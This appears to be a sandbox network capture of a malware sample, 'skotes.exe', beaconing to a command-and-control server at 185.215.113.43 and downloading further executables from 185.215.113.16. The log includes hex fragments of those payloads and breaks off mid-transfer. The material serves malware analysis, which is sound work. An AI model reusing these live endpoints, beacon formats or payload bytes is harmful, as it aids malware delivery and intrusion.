Nov 29, 2024 20:06:48.597922087 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50020	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:50.258311987 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:06:51.646013975 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50027	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:53.391726971 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:06:54.829025984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50034	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:56.468108892 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:06:57.909229994 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:06:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50041	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:06:59.657257080 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:07:01.006397009 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:07:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50048	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:07:02.707727909 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:07:04.082577944 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:07:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50056	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:07:05.829372883 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:07:07.254488945 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:07:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50061	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:07:08.970314026 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:07:10.324448109 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:07:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50062	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:07:12.093596935 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:07:13.471703053 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:07:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50063	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:07:15.116343975 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:07:16.496133089 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:07:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50064	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:07:18.253272057 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:07:19.641123056 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:07:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50065	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:07:21.274321079 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:07:22.768647909 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:07:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50066	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:07:24.522335052 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 29, 2024 20:07:25.860642910 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:07:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50067	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:07:27.501168966 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 29, 2024 20:07:28.915098906 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:07:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 31 30 33 36 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 30 33 36 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 30 33 36 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 30 33 36 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1010360001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1010361001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1010362001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1010363001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50068	185.215.113.16	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:07:29.050736904 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 29, 2024 20:07:30.427628994 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:07:30 GMT Content-Type: application/octet-stream Content-Length: 1872896 Last-Modified: Fri, 29 Nov 2024 18:38:18 GMT Connection: keep-alive ETag: "674a0a1a-1c9400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 42 33 47 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 e6 03 00 00 c2 00 00 00 00 00 00 00 70 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4a 00 00 04 00 00 a4 b0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 60 05 00 70 00 00 00 00 50 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 61 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELB3GgpJ@J@\`pPa @X@.rsrcPh@.idata `j@ *pl@kavxkxnu`0n@myhjcrzc`Jn@.taggant0pJ"r@
Nov 29, 2024 20:07:30.427645922 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 20:07:30.427655935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 20:07:30.427716017 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 20:07:30.427726984 CET	1236	IN	Data Raw: 4a d5 9b df ba 80 b5 6e 29 16 9b 13 aa 7d 99 ed 84 94 07 6d f1 7d 44 8d fb a9 d4 14 aa 79 9c 57 3d c2 d4 d0 5f 3d 4f 26 c6 ef 19 6a 7f 9d 01 1e 37 95 eb bf 23 3c d5 5a 13 c7 85 93 95 dd 9e 6e 92 c9 f8 46 73 67 2c c0 fb f0 82 27 73 5e 1b 59 cb a5 Data Ascii: Jn)}m}DyW=_=O&j7#<ZnFsg,'s^Yq-4V"!GF5rdUsY+VXUt'%V8:n<?I,8#!YTk#7<C"& LtAE4&)\<HV
Nov 29, 2024 20:07:30.427900076 CET	1236	IN	Data Raw: d2 c9 5c 3f c2 88 f9 78 01 2b 90 ea b6 61 1a 97 60 1c 01 22 ae f9 19 5d 27 e5 a8 b4 db ad da 16 7c d8 21 d5 25 c2 53 c2 62 1d 62 ce 83 8a 70 4d f8 e8 de c4 d4 80 9c dc 3f d6 3c f6 0d 42 ec 62 5f 1b a4 7a 91 05 6f 53 b9 93 e8 1b 76 8d 5f ba f7 69 Data Ascii: \?x+a`"]'\|!%SbbpM?<Bb_zoSv_i}<O4D\J9Y&aWPKm4w$I+!6-nD'^CPTk2XB@NYY1]I5"ZUa!`;)
Nov 29, 2024 20:07:30.427910089 CET	1236	IN	Data Raw: 35 fd 0a 1d 69 60 b6 42 c9 c0 8c a0 24 5a 88 b2 2c 32 91 f6 d6 a6 b0 1d 3c 7b 16 79 f4 af 81 1c 28 a5 f8 4a ab 91 70 00 89 61 90 d1 2c c9 44 d1 da 81 22 d5 90 d6 77 f8 29 ec 10 10 16 7f 5b 77 72 b4 92 02 9b 91 80 4a 1e 33 de 2d 93 15 05 47 72 ff Data Ascii: 5i`B$Z,2<{y(Jpa,D"w)[wrJ3-Gr@O4T"si#Ro:Zl>E=l{o4 r06lI2PUdfaUt=;.r[ @-tk%]\0j^2$*uDu\|
Nov 29, 2024 20:07:30.427920103 CET	1236	IN	Data Raw: 73 c2 21 3b e7 af 44 3e 71 ef 04 ca ea bc 4c 8f 80 60 84 f4 e7 93 4c dd 91 dc 8a 77 d5 85 23 72 9b 27 18 ed 63 55 f9 19 e5 c2 3c f8 6a db a2 59 52 32 9c 61 33 29 f4 c4 9b 3d 5c db ea 2d 11 a2 cf b4 8b ca dc 73 b1 6d d1 a1 23 92 35 84 49 71 c8 76 Data Ascii: s!;D>qL`Lw#r'cU<jYR2a3)=\-sm#5Iqvest?nA{)x}rugC9O)bBbMSWe)`=H@JJrY-l3"Y^r{*m0<MK:_GizMg
Nov 29, 2024 20:07:30.427930117 CET	1236	IN	Data Raw: ac db 81 d6 bb 7d a4 86 82 2c dc 0e d3 d1 ef 0c 47 4a b8 94 ac 37 ae 90 73 f0 48 36 e9 42 07 25 f5 71 c9 7d 39 ab e0 ba 34 14 99 de 56 f8 61 62 a8 ed e2 7e 8f 51 34 99 52 df d5 96 7b 23 bd 95 70 3d 9c d0 33 34 3e d1 ce 91 42 2e 60 e4 58 6f b4 76 Data Ascii: },GJ7sH6B%q}94Vab~Q4R{#p=34>B.`Xov,lxynPB) ?8UL?mzmHbmwz#7~=MbDV2Bl[<mE7S!~"b
Nov 29, 2024 20:07:30.427939892 CET	1236	IN	Data Raw: 2a 25 d7 27 db 5b 8e e3 5f 49 d3 29 45 83 57 06 8e 2d f4 8d 65 1b 0f 7a 34 94 db a9 87 0d b7 a9 8d c3 12 78 74 6b 3c 07 16 b5 03 b9 6c 5a 4b a6 0a ba 22 ac 65 c4 72 6d 13 9f 62 9e f6 4d e0 f5 34 8e ee 5c db a0 9c d3 33 fb d6 4e 1f 76 22 6a 1b 45 Data Ascii: *%'[_I)EW-ez4xtk<lZK"ermbM4\3Nv"jE2qAgkyY-iZdTSj<PUZ.u\%Y[T-d^VPzD&4R7Dq'AdpM+TPtkQF,v1VM%<lwF<L&_[`
Nov 29, 2024 20:07:30.548722982 CET	1236	IN	Data Raw: 72 12 6c 75 b0 c7 98 16 74 6d 22 77 1f 36 28 9f fb d1 9c 8d a7 7c ff 83 5c 86 c3 76 f5 f8 6f c2 38 20 9b 23 da 25 36 28 35 18 8e 19 1b 09 f3 5d 05 4e ae d6 3b 95 af 69 74 c6 a6 fd 64 2f e3 65 32 8d ea 20 e7 e9 b2 1b 1c d1 95 62 6a 0c 78 2c dc e5 Data Ascii: rlutm"w6(\|\vo8 #%6(5]N;itd/e2 bjx,2f3e_+sDLg!b%t`d8!<Do66WbaOGt\|) Q@%st$)ajW"i}ePcw[T%-UO1VX{TE+,& _

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50069	185.215.113.43	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:07:36.063429117 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 33 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010360001&unit=246122658369
Nov 29, 2024 20:07:37.512696981 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:07:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50071	185.215.113.16	80	6100	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 20:07:37.637725115 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 29, 2024 20:07:38.969361067 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 19:07:38 GMT Content-Type: application/octet-stream Content-Length: 1789952 Last-Modified: Fri, 29 Nov 2024 18:38:25 GMT Connection: keep-alive ETag: "674a0a21-1b5000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce b4 e2 38 8a d5 8c 6b 8a d5 8c 6b 8a d5 8c 6b e5 a3 27 6b 92 d5 8c 6b e5 a3 12 6b 87 d5 8c 6b e5 a3 26 6b b0 d5 8c 6b 83 ad 0f 6b 89 